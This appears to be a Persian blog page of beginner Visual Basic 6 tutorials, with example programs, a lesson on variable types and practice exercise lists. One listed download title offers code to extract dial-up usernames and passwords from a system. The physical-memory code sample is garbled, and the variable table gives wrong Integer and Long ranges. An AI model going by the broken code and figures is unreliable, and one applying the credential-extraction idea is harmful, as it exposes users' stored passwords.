X
تبلیغات
منزلگه ققنوس - برنامه نویسی با ویژوال بیسیک 6
یک برنامه پنجشنبه دوم شهریور 1391 14:43

برنامه ای بنویسید که رشته ای را از ورودی دریافت کرده و تعداد حروف بزرگ و کوچک آن را نمایش دهد بصورت مجزا.


 

Private Sub Command1_Click()

Cls

Dim s As String

s = InputBox("")

For i = 1 To Len(s)

Select Case Mid(s, i, 1)

Case "A" To "Z"

u = u + 1

Case "a" To "z"

l = l + 1

End Select

Next

Print "horuf kuchak"; l

Print "horufe bozorg"; u

End Sub

نوشته شده توسط سعید دامغانیان  | لینک ثابت |

برنامه ای جالب پنجشنبه دوم شهریور 1391 14:42

 برنامه ای بنویسید که خروجی زیر را تولید کند:


1

1 2 3

1 2 3 4 5

1 2 3 4 5 6 7

1 2 3 4 5

1 2 3

1

Private Sub Command1_Click()

For s = 0 To 2

Print Spc(3 – s);

For I = 1 To s * 2 + 1

Print CStr(i);

Next

Print

Next

For s = 3 To 0 Step -1

Print Spc(3 – s);

For I = 1 To s * 2 + 1

Print CStr(i);

Next

Print

Next

End Sub


نوشته شده توسط سعید دامغانیان  | لینک ثابت |

مجموعه سورس کد های ویژوال بیسیک 6 پنجشنبه دوم شهریور 1391 14:34
---» سورس کدهای مربوط به طراحی فرم ها :

» نمایش فرم به صورت شیشه ای

» نمایش فرم ها با انیمیشن خاص

» تغییر شکل فرم به شکل یک ستاره

» قرار دادن یک دکمه روی نوار عنوان

» طراحی فرم های سوراخ دار

» طراحی فرمهایی به شکل بیضی

---» سورس کدهای مربوط به کار با سیستم و ویندوز :

» شناسایی CD ROM در سیستم

» بررسی کردن وضعیت چراغ Caps Lock

» نمایشگر نوار کارکرد پردازنده

» بررسی کننده ظرفیت درایوها

» برنامه ای برای Hibernate کردن سیستم

» پنهان کردن درایوها از My Computer

» جابجا شدن حرکت نشانگر موس

» بستن برنامه ها با استفاده از عنوان آنها

» راه اندازی مجدد سیستم ( Restart )

» جستجوی سریع فایلها در سیستم

» خاموش کردن سیستم ( ShutDown )

» ضبط کردن صداهای پخش شده در ویندوز

» استخراج کردن مشخصات سیستم

» قرار دادن آیکون برنامه در کنار ساعت

» قرار دادن برنامه در Startup ویندوز

» استخراج اطلاعات Dialup های موجود در سیستم ( UserName و Password )

» نمایش دیالوگ سیستم برای انتخاب Folder یا پوشه

» سورس ضبط صدا از طریق میکروفن با امکانات بالا

---» سورس کدهای به نوعی مرتبط با گرافیک سیستم :

 » حرکت دادن آیکونهای موجود در دسکتاپ

» استخراج ابعاد تصویر بدون بار کردن آن

» عکس گرفتن از تصویر زمینه دسکتاپ

» اسکرین سیور شماره 1

» اسکرین سیور شماره 2

» اسکرین سیور شماره 3

» اسکرین سیور شماره 4

» شیشه ای کردن نوار وظیفه ( TaskBar )

» تغییر والپر ( WallPaper ) ویندوز

» بزرگنمایی تصویر همراه با اسکرول

---» سورس کدهای مربوط به انواع بازی ها :

 » بازی در حالت سه بعدی ( سفینه جنگی )

» بازی قشنگ پازل شماره 1

» بازی قشنگ پازل شماره 2

» بازی کرم یا همون Snake

» بازی جالب و سنتی دوز ( XO )

---» انواع سورس کدهای دیگر برای دانلود :

» نمایشگر ساعت به صورت عقربه ای

» نمایشگر ساعت به صورت دیجیتالی

» نمایش و کنترل شکلکهای ویندوز ( Agent )

» کنترل دکمه های فشرده شده در سیستم

» فرستادن ایمیل به همراه فایل ضمیمه

» MP3 پلیر با اسکین های زیبا و جالب

» برنامه ویرایشگر فایل های متنی

» یک پیانو ( ارگ ) بسیار قشنگ و جالب

» طراحی و ساخت منو های شناور

» برنامه ای برای مدیریت رجیستری

» روشی برای جستجو و جایگزینی در متن

» چرخش دادن متن با زاویه دلخواه

» ارتباط دادن VB با فلش (1)

» ارتباط دادن VB با فلش (2)

» ویرایشگری برای صفحات HTML

---»  سورس کدهای مبدل تاریخ و اعداد :

» تابع مبدل تاریخ سیستم به تاریخ شمسی با حالتهای مختلف

» تابع تبدیل اعداد به صورت حروفی ( فارسی )

» سورس تلفظ کننده اعداد به صورت فارسی

» مجموعه کامل توابع مبدل اعداد و تاریخ ها با امکانات واقعا بدرد بخور


نوشته شده توسط سعید دامغانیان  | لینک ثابت |

برنامه با جعبه گفت و گو چهارشنبه یکم شهریور 1391 20:48
اينم يك برنامه با جعبه گفت و گو:

ابتدا یک کنترل جعبه گفتگو با نام CommonDialog1 روی فرم و يك Text Box و یک دکمه فرمان به نام

Command1 روی فرم خود قرار دهید روی دکمه Command1 خود دوبار کلیک کنید تا پنجره کد باز

شود.

سپس :

کدهای زیر را در روال رویداد Command1_Click بنویسید.

Private Sub Command1_Click
CommonDialog1.ShowColor
Text1.BackColor = CommonDialog1.Color
End Sub

كار برنامه:

در خط دوم ما گفتیم که کنترل جعبه گفتگو گفتگوی رنگ را باز کند.در خط سوم نیز گفتیم که رنگ پس زمینه

Text box را برابر رنگ انتخابی جعبه گفتگوی رنگ کند.

نوشته شده توسط سعید دامغانیان  | لینک ثابت |

نمایش مقدار حافظه فیزیکی با ویژوال بیسیک. چهارشنبه یکم شهریور 1391 20:47
سلام.

امروز هم يك برنامه با استفاده از API براتون مي زارم.

نمایش مقدار حافظه فیزیکی با ویژوال بیسیک.

این برنامه با استفاده از API مقدار حافظه فیزیکی را برایتان نمایش می ده . این برنامه خیلی ساده است و

توضیحی هم ندارم که براش بدم چون اگه یه نگاه به کدها بندازید می فهمید که چیز خاصی نداره .

فقط یک تایمر و يك فريم و 4 تا Label می خواد.

Private Type Memory
Length As Long
MemoryLoad As Long
TotalPhysMemory As Long
AvailablePhysMemory As Long
End Type

Private Declare Sub GlobalMemoryStatus Lib "kernel32" (M As Memory)

Private Sub Timer1_Timer()
   Dim M As Memory
   GlobalMemoryStatus M
'*************************************************
   LblAvlMem.Caption = Format(CDbl(مقدار حافظه فیزیکی موجود:/ 1048576), "#.## MB")
   LblTotalPhMem.Caption = Format(CDbl(کل حافظه فیزیکی: / 1048576), "#.## MB")
   LblUsedMemory.Caption = Format(CDbl((مقدار حافظه مورد استفاده / 1048576), "#.## MB")
   LblPercentPhMem.Caption = Format(CDbl((/مقدار حافظه فیزیکی بر حسب درصد), "##.#%")
End Sub

امیدوارم خوشتون بیاد.

تا بعد.

نظر یادت نره



نوشته شده توسط سعید دامغانیان  | لینک ثابت |

آموزش ساخت منو در VB چهارشنبه یکم شهریور 1391 20:45
امروز آموزش ساخت منو در VB را به شما ياد مي دم.

قبل از اين بگم كه من به خاطر امتحانات تا چند روز نمي تونم بيام اينجا.

اگه كسي لطف كنه و به جاي من فعلا ادامه بده.

ساخت منو:

منوها : برای قراردادن و طراحی منو برای فرم از منویtools/menu editor را انتخاب میکنیم.

برای افزودن گزینه ای جدید به منو عنوان آن را در کادر caption و نام آن را در کادر name تایپ میکنیم

برای آنکه گزینه فعلی زیر منوی گزینه قبلی شود کلید جهت راست را فشرده و برای لغو آن از کلید جهت

سمت چپ استفاده میکنیم.

برای ترتیب گزینه ها در منو از فلش بالا و پایین استفاده میکنیم و برای آنکه کنار گزینه علامت تیک گذاشته

شود از کادر checked برای فعال کردن گزینه از کادر enabled و برای قابل رویت بودن گزینه از کادر

vizible استفاده میشود .

برای استفاده کردن گزینه ای بین گزینه های دیگر از insert و برای حذف یک گزینه از delete استفاده میشود .

برای آنکه بین گزینه های منو خطی قرار گیرد که مثلا بعضی گزینه ها را از بعضی دیگر جدا کند , گزینه

ای با caption خط فاصله ایجاد میکنیم و برای قرار دادن خط زیر برای یکی از حروف گزینه به منظور

انتخاب گزینه به کمک alt قبل از حرف مورد نظر در caption کاراکتر &را قرار میدهیم :

مثال: &file

خاصیت enabled : در حین اجرای برنامه تغیر این خاصیت به true و false باعث غیر فعال شدن گزینه میشود .

خاصیت visible : اختصاص مقدار false به این خاصیت گزینه را پنهان میکند .

خاصیت checked : خاصیت مقدار true به این خاصیت باعث میشود تا کنار گزینه علامت تیک ظاهر شود.

حالا شما می توانید به راحتی یک منو در VB6 بسازید.

نوشته شده توسط سعید دامغانیان  | لینک ثابت |

انواع متغیرها سه شنبه سی و یکم مرداد 1391 22:42

انواع متغیرها:

متغیرها در ویژوال بیسیک به دو دسته عددی و غیر عددی تقسیم بندی می شوند. داده های عددی نیز خود به دو گروه صحیح و اعشاری تقسیم می شوند. داده های غیر عددی شامل داده های منطقی ، رشته ای ، تاریخ و زمان و شیء می باشند ، که هر کدام را به اختصار توضیح می دهیم.

الف) متغیرهای عددی :

در زیر جدولی از این نوع برحسب میزان حافظه اشغالی مرتب شده اند، که دانستن آن برای پیشروی در آموختن لازم است:

 

باره قابل قبول

نوع متغیر

۰ تا ۲۵۵

Byte

۳۲۷۶۷- تا ۳۲۷۶۸

Integer

۲۱۴۷۴۸۳۶۷- تا ۲۱۴۷۴۸۳۶۴۸

Long

 

تمام متغیرهایی که از یکی از این سه نوع تعریف شوند فقط پذیرای اعداد صحیح خواهند بود. اگر یک عدد اعشاری به این نوع متغیرها نسبت داده شود فقط قسمت صحیح عدد در متغیر قرار می گیرد.

انواع متغیرهای اعشاری هم به این صورت هستند:

 

بازه قابل قبول

نوع متغیر

 گستره وسیعی با ۶ رقم اعشار

Single

گستره وسیعی با ۱۴ رقم اعشار

Double

۴ رقم اعشار

Currency

 

نکته: توجه نمایید که نوع Currency بیشتر برای محاسبات مالی و اداری استفاده می شود.

 ب ) متغیر رشته ای :

در نوشتن اکثر برنامه ها نیاز به متغیرهایی خواهد شد که حروف و کلماتی مثل نام افراد را نگهداری کنند. در ویژوال بیسیک این کار به عهده متغیرهایی هستند که از نوع String تعریف شوند.

ج ) متغیرهای دو مقداری ( منطقی ) :

گاهی متغیری لازم است که بتواند یکی از دو مقدار True یا False ( همان صفر و یک، یا درست و نادرست) را در خود نگهداری کند. این نوع در برنامه با کلمه کلیدی Boolean مشخص می شود. در ادامه با این متغیرها بیشتر آشنا خواهید شد.

د ) نوع تاریخ و زمان :

توضیح خاصی ندارد! فقط به یاد داشته باشید که با کلمه کلیدی Date مشخص می شود. همانگونه که از نام آن پیداست، برای کار با زمان و تاریخ کاربرد دارد.

ه ) نوع  Variant:

این نوع می تواند انواع متغیرهای بالا را در خود جای دهد! یعنی در یک قسمت می تواند عدد باشد، و در قسمت دیگر رشته، و . . . !! البته بر خلاف گستردگی ظاهریش چندان پر کاربرد نیست.

 

تعریف متغیرها:

برای تعریف متغیر - و یا در واقع اعلان نوع آن - از ساختار زیر استفاده می کنیم:

Dim  نام متغیر  As   نوع متغیر

به مثال های زیر توجه کنید:

Dim x As Double

Dim  n , m As Integer

Dim fname , str1 , str2 As String * 10

دستور اول x را از نوع اعشاری double تعریف می کند.

در دستور دوم دو متغیر m و n از نوع صحیح integer تعریف می شوند (به علامت , بین دو متغیر توجه کنید).

در سطر سوم str1 ، fname و str2 هر سه از نوع String تعریف می شوند. با این تفاوت که رشته str2 حداکثر می تواند ۱۰ کاراکتر بپذیرد.

نکته بسیار مهم: در حقیقت تعریف کردن متغیرها در زبان ویژوال بیسیک باعث جلوگیری از بروز خطا وکمتر مصرف شدن حافظه می شود، و شما می توانید بدون این که متغیرها را تعریف کنید از آنها استفاده نمایید. اگر چه این امر بر وفق مراد تازه کاران است، ولی بهتر است در برنامه متغیرها را تعریف، و سپس استفاده کنید. یکی از مزایای این کار این است که اگر در برنامه ای نام متغیری را اشتباه تایپ کنید هنگام اجرای آن خطای عدم شناسایی متغیر دریافت می کنید. در صورتی که قصد دارید همواره از قاعده تعریف قبل از استفاده را به کار ببرید، کافی است عبارت Option Explicit را قبل از همه کدهای برنامه تایپ کنید.

برای مقدار دهی به متغیرهای تعریف شده دو روش وجود دارد: با دستورات انتساب - که با علامت = انجام می پذیرد - ، و با دستورات ورودی.
ما با  دستور = به متغیرهای عددی که در بالا تعریف شده اند مقدار می دهیم:

x = -21.2

n = x

m = ( n + 2 ) * 3 ^ 2 / 5

fname = "ali"

در دستور اول عدد اعشاری 21.2- در x قرار می گیرد. دستور مقدار 21- را در n قرار می دهد.( چرا که n از نوع صحیح تعریف شده است.) مقدار m هم بر اساس تقدم عملگرها تعیین می شود. ترتیب این تقدم به صورت زیر است:

·       ( ) :      عبارتهای داخل جفت پرانتز بیشترین تقدم رو دارند.

·        ^  :     توان ریاضی

·       * و / :   ضرب و تقسیم اعشاری

·       \  :       تقسیم صحیح (یعنی حاصل این تقسیم همیشه عدد صحیح می باشد.)

·       Mod :   باقیمانده تقسیم را می دهد. مثلا در عبارت x = 15 Mod 2 مقدار x برابر 1 می شود.

·        – و + : جمع و تفریق معمولی

بر اساس مطالب فوق مقدار m به این صورت محاسبه می شود:

m = ( -21 + 2 ) * 3 ^ 2 / 5 = -19 * 3 ^ 2 / 5 = -19 * 9 / 5 = -171 / 5 = -34.2

آخرین دستور کلمه ali را در متغیر رشته ای fname قرار می دهد. اما چرا ali داخل جفت گیومه قرار گرفته؟ عیارت زیر چرا درست عمل نمی کند؟

fname = ali

دو حالت مختلف را بررسی می کنیم:

اول: در ابتدای کدها از Option Explicit استفاده شده است. در این صورت برنامه به دنبال متغری با نام ali می گردد.

دوم: در ابتدای کدها از Option Explicit استفاده نشده است. در این صورت برنامه فرض می کند ali متغیری است رشته ای، و - چون هیچ مقدار خاصی ندارد - رشته تهی در fname قرار می گیرد.

هر دوی این حالتها برخلاف انتظار ماست. لذا برای جلوگیری از چنین اشتباهاتی در ویژوال بیسیک رشته ها (دقت کنید که رشته ها، نه متغیرهای رشته ای) درون " " قرار می گیرند.

حال به عبارات زیر توجه کنید:

str1 = ”Visual  “  + ”Basic”

str2 = str1

str1 = 1 + 3

fname = str1 + ” is an integer number”

در دستور اول دو رشته داخل گیومه با هم الحاق شده ، و رشته “Visual  Basic” درون str1 قرار می گیرد. با دستور & نیز می توان همانند + دو رشته را به هم متصل نمود.

در دستور دوم محتویات متغیر str1 جایگزین محتویات str2 می شود. اما با توجه به اینکه str2 حداکثر گنجایش ۱۰ کاراکتر را دارد، تنها عبارت "Visual Bas" در آن قرار می گیرد.

در خط سوم سمت راست عملگر انتساب یک عدد صحیح، و سمت چپ یک رشته است. اما چون مقدار سمت راست در متغیر سمت چپ قرار داده می شود - که از نوع رشته ای است - مقدار عددی ۴ به مقدار رشته ای ۴ تبدیل می شود. یعنی:

str1 = "4" 

توجه داشته باشید که دو عبارت زیر با هم تفاوت دارند:

str1 = 1 + 3

str1 = "1 + 3"

بر اساس توضیحات فوق در نهایت مقدار متغیر fname به صورت زیر خواهد یود:

fname = str1 + " is an Integer number" = "4" + " is an Integer number" = "4 is an Integer number"

نکته بسیار مهم: البته در نام گذاری متغیر ها باید از قوانین خاصی پیروی کرد. فاصله در نام گذاری متغیر ها مجاز نیست.
مثلاً
Dim Ali Reza As Integer غلط است چرا که بین دو کلمه Ali و Reza فاصله است.

نوشته شده توسط سعید دامغانیان  | لینک ثابت |

سوال+جواب ویژوال بیسیک سه شنبه سی و یکم مرداد 1391 22:42

سلام دوستان . ببخشيد که دير  آپ مي کنم . يه چند تا سوال ويژوالي ديدم گفتم شايد به درد اونايي که تازه ويژوال رو شروع کرد ن.

1 . ده عدد را گرفته تعيين کند کدام زوج و کدام فرد است.

2  .مجموع اعداد زوج و فرد 0 تا 100 را محاسبه کرده و جداگانه چاپ کند.

3.  20 عدد را خوانده، بزرگترين و کوچکترين آنها را نمايش دهد.

4.   برنامه اي بنويسيد که عدد چها رقمي فاقد صفر را به همراه تعداد کل آنها نمايش دهد.

5.  برنامه اي بنويسيد که يک عدد را خوانده، اول بودن آن را تعيين نمايد و پيغام مناسبي چاپ کند.

6.برنامه اي بنويسيد که يک عدد را گرفته و فاکتوريل آن را محاسبه و چاپ کند.

 7.برنامه اي بنويسيد که براي اعداد 1 تا 10 مجموع اعداد از يک تا آن عدد را نمايش دهد.

 8.  برنامه اي بنويسيد که عدد N را خوانده و مجموع ارقام آن را نشان دهد.

9.برنامه اي بنويسيد که يک عدد صحيح مثبت را خوانده جذر آن را نمايش دهد. 

10. برنامه اي بنويسيد که يک عدد حد اقل چهارقمي مثبت را خوانده، مغلوب آن را نمايش دهد.

11.برنامه اي بنويسيد که 20 جمله اول سري فيبوناچي را نمايش دهد.

12.  برنامه اي بنويسيد که دو عدد صحيح از ورودي خوانده و عمل ضرب را بدون استفاده از عملگر ضرب محاسبه و نمايش دهد.

13.  برنامه اي بنويسيد که رشته اي را از ورودي دريافت کرده و تعداد حروف بزرگ و کوچک آن را نمايش دهد بصورت مجزا.

14.  برنامه اي بنويسيد که رشته اي را از ورودي دريافت کرده و تعيين کند که آيا رشته از هردو طرف که در نظر گرفته شود يکسان است يا خير؟

15.  برنامه اي بنويسيد که بدون استفاده از تابع Replace، کار اين تابع را شبيه سازي کند.

16.  برنامه اي بنويسيد که رشته اي را از ورودي دريافت کند و مجموع ارقام نويسه اي موجود در رشته را محاسبه نمايد و نمايش دهد.  

17.  برنامه اي بنويسيد که حاصل عبارت زير را تا 10 جمله حساب کند:

18.  برنمه اي بنويسيد که 50 اسم را از ورودي دريافت و تعداد افرادي را ه نامشان mohsen است، نمايش دهد.

 جواب سوال در ادامه مطلب


ادامه مطلب
نوشته شده توسط سعید دامغانیان  | لینک ثابت |

مجموعه سوالات تشریحی ویژوال بیسیک سه شنبه سی و یکم مرداد 1391 21:38

من حدود 120 سوال که به نظر اینجانب برای رشته برنامه نویسی و ویژوال مقدماتی یا پیشرفته (بعضی سوالهای خاص) مناسب است ، برایاستفاده همکاران قرار می دهم.
مجموعه سوالات ویژوال بیسیک
(این سوالات برای داوطلبین شرکت در آزمون عملی ویژوال بیسیک پیشرفته یا رایانه کار درجه ی یک مناسب می باشد .)
جمع آوری : مهندس آهنگری
1 . برنامه ای بنویسید که 3 عدد را گرفته و مجموع آن 3 عدد را دریک text box نمایش دهد .
2 . برنامه ای بنویسید که 3عدد را گرفته و معدل آن 3 عدد را بدست آورد .
3 . برنامه ای بنویسید که با کلیک روی فرم پهنا و ارتفاع آن نصف شود .
4 . برنامه ای بنویسید که با یک بار کلیک روی فرم اندازه فرم بزرگ شده وبا دابل کلیک به حالت نرمال باز گردد.
5 . برنامه ای بنویسد که اعداد زوج دو رقمی را روی فرم چاپ کند .
6 .برنامه ای بنویسید که یک عدد دریافت کرده و زوج یا فرد بودن آن را مشخص کند .
7 .برنامه ای بنویسید که مقسوم علیه های آن عدد را نمایش دهد .
8. برنامه ای بنویسید که نمرات دانش آموزی را از ورودی دریافت کرده و معدل آن دانش آموز را محاسبه کند و اگر معدل بالای12 باشد با رنگ سبز نمایش داده شود واگر زیر 12 باشد با رنگ قرمز نمایش دهد و پیغام مناسبی نیز در هر حالت ظاهر شود .
9. برنامه ای بنویسید که 10عدد دریافت کرده و آنها را در یک لیست نمایش دهد .
10. برنامه ای بنویسید که 10 عدد گرفته و آنهارا وارد لیست کرده و با هم جمع کند .{هر وقت کلمه ی (جمع ) در سوال آمد فرمول مقابل را بنویسید (sum = 0 )}
11. برنامه ای بنویسید که تعدادی عدد ( حداکثر 20عدد ) از ورودی دریافت کرده و با هم جمع کند و اگر کاربر تمایل داشت تا قبل از رسیدن به 20عدد از برنامه خارج با وارد کردن عدد (صفر=0) برنامه را متوقف کند .
12.برنامه ای بنویسید که 10 اسم از ورودی دریافت کرده و اگر به جای اسم کلمه ای end وارد شود از حلقه خارج شود .
13. برنامه ای بنویسید که حقوق یک کارمند را از ورودی دریافت کرده و اگر زیر 200هزار تومان باشد معاف ازمالیات و اگر بین 200 تا 400 هزار تومان باشد 10% مالیات و اگر بالای400 هزار تومان باشد 12% مالیات از حقوق اش کم شده و میزان مالیات و حقوق پرداختی را محاسبه کند .
14. برنامه ای بنویسید که 3 عدد گرفته و حداکثر ( ماکسیموم) آن سه عدد را بدست آورد .
15. برنامه ای بنویسید که مینیموم یا حد اقل 3 عدد را محاسبه کند .
16. برنامه ای بنویسید که 3 نمره ای یک دانش آموز را گرفته و معدل آن را محاسبه کرده و اگر معدل او بالای 12 باشد عدد معدل را بارنگ سبز نشان داده و پیغام قبول رارا ظاهر کند و اگر معدل او زیر 12 باشد معدل را بارنگ قرمز نشان داده و پیغام مشروط ظاهر شود
17. برنامه ای بنویسید که اعداد فرد کوچکتر از 100 را روی فرم نمایش دهد .
18 برنامه ای بنویسید که نام کاربر و رمز عبور یک فرد را دریافت کرده (مثال نام user و رمز آن 123 است ) وبا کلیک روی دکمه و ورود اگر رمز ونام کاربر درست بود پیغام ( شما می توانید وارد برنامه شوید ) ظاهر می شود اما اگر نام کاربر یا رمز عبور اشتباه بود پیغام (شما اجازه ورود ندارید ) ظاهر شوید .
19. برنامه ای بنویسید که یک عدد گرفته و با پیغام مناسب مشخص کند که آن عدد منفی ، مثبت یا صفر است .
20. برنامه ای بنویسید که یک عدد گرفته و تعداد مقسوم علیه های آن را بدست آورد .
21. برنامه ای بنویسید که یک عدد گرفته و مشخص کند که اول است یا مرکب.
22. برنامه ای بنویسید که یک عدد گرفته و مجموع مقسوم علیه های آن را محاسبه کند .
23. برنامه ای بنویسید که یک عدد گرفته و اگر کوچکتر از 100 باشد در لیست اول و 100 به بالا باشد و کمتر از 200 باشد را در لیست دوم و بالاتر از 200 را در لیست سوم نمایش دهد .
24. برنامه ای بنویسید که اعداد 3 رقمی که رقم اول و سوم آن ها با هم برابر است را داخل یک لیست نمایش دهد .(اعداد سه رقمی که خود آنها و مقلوب آنها با هم برابر است نمایش دهد .)
25. برنامه ای بنویسید که 10 عدد گرفته و وارد لیست کرده و تعداد اعداد زوج و تعداد اعداد فرد آن را مشخص کند .
26. برنامه ای بنویسید که 10 عدد دریافت کرده و اعداد زوج و فرد آن را جدا کرده ودر لیست های جدا گانه نمایش دهد .
27. برنامه ای بنویسید که 20 نمره ای دانش آموزان یک کلاس را دریافت کرده و اگر نمره زیر 10 باشد با رنگ قرمز در لیست دوم نشان دهد و اگر نمره بین 10 تا 15 باشد با رنگ آبی در لیست سوم نشان دهد و اگر 15تا20باشد در لیست چهارم بارنگ سبز نشان دهد .
28. برنامه ای بنویسید که 10 عدد گرفته و وارد لیست کرده و ماکسیموم و مینیموم آن 10 عدد را بدست آورد .
29 برنامه ای بنویسید که 10 عدد گرفته و اختلاف بزرگترین و کوچکترین عدد وارد شده را بدست آورد .
30. برنامه ای بنویسید که دارای دو لیبل نام ونام خانوادگی باشد که اگر روی نام کلیک کردیم نام نوشته شود و اگر روی فامیلی کلیک کردیم فامیلی نمایش داده شود .
31. برنامه ای بنویسید که درون msgbox (hello) نمایش دهد .
32. برنامه ای بنویسید که یک عدد یک رقمی وارد شود و مقسوم علیه های آن داخل msgbox نمایش داده شود .
33. برنامه ای بنویسید که با کلیک روی فرم فرم حد اکثر شود و با دابل کلیک روی فرم به اندازه ای معمولی باز گردد.
34. برنامه ای بنویسید که text box و یک label داشته باشد و با نوشتن در text box متن نوشته در label وارد شود . همچنین تنظیم انجام دهید ( از طریق کد نویسی ) که تعداد حروف دریافتی در جعبه متن 10 حرف شود .
35. برنامه ای بنویسید که یک دکمه داشته باشد و با کلیک روی دکمه اندازه فرم 2000 *1000 شده و فاصله ای دکمه از بالای فرم 100 و از چپ200شود .
36. برنامه ای بنویسید که یک اسم دریافت کرده و 3 حرف از سمت چپ آن جدا کرده و نمایش دهد .
37. برنامه ای بنویسد که یک اسم گرفته و تعداد حروف آن را شمارش کند .
38. برنامه ای بنویسید که یک عدد گرفته و تعداد ارقام آن را چاپ کند .
39. برنامه ای بنویسید که یک اسم دریافت کرده و حرف وسط آن اسم را مشخص کند .
40. برنامه ای بنویسید که یک اسم از ورودی دریافت کرده و حروف آن را به شکل ستون زیر هم نمایش دهد .
41. برنامه ای بنویسید که یک اسم دریافت کرده و آن را به شکل ستونی و معکوس زیر هم چاپ کند .
42. برنامه ای بنویسید که یک اسم دریافت کرده و آن را 2 حرف 2 حرف به شکل زیر هم و ستونی روی فرم نمایش دهد .
43. برنامه ای بنویسید که یک اسم دریافت کرده و آن را معکوس کرده و داخل یک label نمایش دهد .
44. برنامه ای بنویسید که یک اسم دریافت کرده و تعداد فاصله های داخل آن عبارت را شمارش کند .
45. برنامه ای بنویسید که یک عبارت را دریافت کرده و همه فاصله های آن را به (ستاره * ) تبدیل کند .
46. برنامه ای بنویسید که یک متن دریافت کرده و تمامی حروف aرا بهA و b را بهB تبدیل کند .
47. برنامه ای بنویسید که یک اسم از ورودی دریافت کرده و یک کلمه دلخواه را در آن جستجو کرده و وجود آن کلمه را با نمایش مکان آن با پیغام مناسب به ما نمایش دهد .
48. برنامه ای بنویسید که یک عبارت از ورودی دریافت کرده و تعداد کل حروف aو b متن را نمایش دهد .
49. برنامه ای بنویسید که به صورت تصادفی اعداد بین 50تا 150 را چاپ کند .
50. برنامه ای بنویسید که 10عدد تصادفی بین 50تا 150را تولید کند .
51. برنامه ای بنویسید که 10 اسم از ورودی دریافت کرده و آنها را وارد لیست کند و اگر اسمی بیشتر از 5 حرف باشد پیغام خطا داده شود و اسامی بیش از 5 حرف در یک لیست جداگانه نمایش داده شده و برنامه تا 10 اسم معتبر(زیر 5 حرف) دریافت نکرده ، تکرار شود .
52. برنامه ای بنویسید که متن داخل جعبه متنی با دکمه left به سمت چپ و دکمه right به سمت راست حرکت کند .
53. برنامه ای بنویسید که عددی دریافت کرده و مجموع ارقام آن را بدست آورد .
54. برنامه ای بنویسید که تاریخ سیستم برروی برچسب هایی به شکل روز- ماه – نام روز کامل - نام ماه کامل و سال کامل نشان داده شود .
55. برنامه ای بنویسید که یک ساعت دیجیتال در برچسب هایی برای ساعت ودقیقه و ثانیه نمایش دهد .
زیربرنامه ها
(مراحل باز کردن زیر برنامه : View->Code-> پنجرcode باز شدبه مرحله بعدی می روید Tools->Add procedure->(sub-function-property-event)->(public-private)-> نام زیر برنامه و بعد گزینه ok را میزنید .)
56. زیر برنامه ای بنویسید که 3 عدد گرفته و مجموع آن را بدست آورد ( آرگومان سوم آن را اختیاری تعریف کنید) .
57. زیر برنامه ای بنویسید که 2 عدد (طول و عرض)از ورودی گرفته و محیط و مساحت مستطیل را حساب کند و اگر اعداد ورودی مساوی یا کمتر از صفر (0) باشد برنامه خطا دهد.
58. زیر برنامه ای بنویسید که رشته ای دریافت کرده و 3 حرف از سمت چپ آن جدا کرده و نمایش دهد .
59. زیر برنامه ای بنویسید که یک عدد دریافت کرده و مجموع اعداد کوچکتر از خود را چاپ کند.
60. زیر برنامه ای بنویسید که یک عدد دریافت کرده و فاکتوریل آن محاسبه کند .
61. برنامه ای بنویسید که زمان و تاریخ فعلی سیستم را هر یک ثانیه یک بار نمایش دهد و تنظیمی انجام دهید که در وسط صفحه چاپ کند .
62. برنامه ای بنویسید که یک ماشین حساب برای طراحی کند .(از دو روش)
63.برنامه ای بنویسید که یک شکل به سمت راست حرکت کند و سپس به سمت پایین حرکت کرده و سپس به سمت چپ حرکت کرده و به جای اولیه خود برگردد ، ضمناً رنگ شکل هم در هر مرحله عوض شود .
64. تابعی ایجاد کنید که یک عدد گرفته و فاکتوریل آن را محاسبه کند .
65 . برنامه ای بنویسید که آیتم های مورد نظر را از کادر متن به کادر لیست اضافه کند و امکان حذف و... را نیز داشته باشد .
66 . برنامه ای بنویسید که با زدن دکمه ی "نمایش " نام شما در برچسب ظاهر شده و با زدن دکمه ی "مخفی" نام شما از برچسب مخفی شود
و با زدن دکمه "خروج" برنامه بسته شود .
67. برنامه ای بنویسید که بزرگترین رقم عدد وارد شده را نمایش دهد .

68. برنامه ای بنویسید که یک جمله دریافت کرده و تمام فاصله های آن را از بین ببرد .
69 . برنامه ای بنویسید که یک رشته گرفته و حرف اول و آخر آن را جابجا کند .
70. برنامه ای بنویسید که حاصل سری زیر را حساب کند .
S=1+1/4+1/9+1/16+………+1/100
71 . برنامه بنویسید که 10 جمله ی اول سری فیبوناچی را ایجاد کند .
1,1,2,3,5,8,13,…..
72.برنامه ای بنویسید که رنگ ، هاشور ، رنگ داخل ،پهنا و............ شکل روی فرم عوض شود .
73. برنامه ای بنویسید که با یک نوار پیمایش اندازه یک نوشته روی برچسب تغییر کرده و با نوار دیگر رنگ قلم آن عوض شود .
74. برنامه ای بنویسید که با زدن Play شکل به سمت راست حرکت کرده و با دکمه Stop شکل متوقف شود .
75. برنامه ای بنویسید که یک عدد گرفته و تعداد ارقام غیر صفر آن را شمارش کند .
76. برنامه ای بنویسید که یک عدد گرفته و مشخص کند اول است یا خیر؟( علاوه بر مشخص کردن تعداد)
77. برنامه ای بنویسید که به وسیله بانک اطلاعاتی امکان اضافه کردن پاک کردن و به روز رسانی اطلاعات را داشته باشد .
78. برنامه ای بنویسید که سه عدد گرفته و حداکثر و حداقل آن را پیدا کند ؟
79. برنامه ای بنویسید که یک شکل رفت و برگشت داشته باشد ( با زدن دکمه حرکت حرکت کند و با توقف بایستد .)
80. برنامه ای بنویسید که هر یک ثانیه یک بار شکلshape عوض شود و با رسیدن به شکل آخر از اول شروع شود .
81. برنامه ای بنویسید که اجازه ی انتخاب عکس از درایو و پوشه ی مورد نظر (البته فقط فایلهای BMP ) را بما بدهد .
82. برنامه ای بنویسید که به وسیله ی کادر انتخاب و کومبو باکس اجازه تغییر سبک قلم ، رنگ قلم و سایز قلم را بدهد .
83. برنامه ای بنویسید که یک آرایه یک بعدی با 10 عنصر دریافت کرده و جمع و معدل آنها را محاسبه کند .
84 . یک آرایه دو بعدی بنویسید که 5 *5 باشد و عناصر را از ورودی دریافت کند ، و اگرقطر اصلی یک باشد ، پیغام مناسب بدهد .
85. برنامه ای بنویسید که یک اسم دریافت کرده و از حرف سوم آن دو حرف جدا کند .
86. برنامه ای که زمان و تاریخ فعلی و تعداد ثانیه های گذشته از 12 شب را نمایش دهد .
87. برنامه ای بنویسید که با فشار دادن هر کلید کد آنها را نمایش دهد .
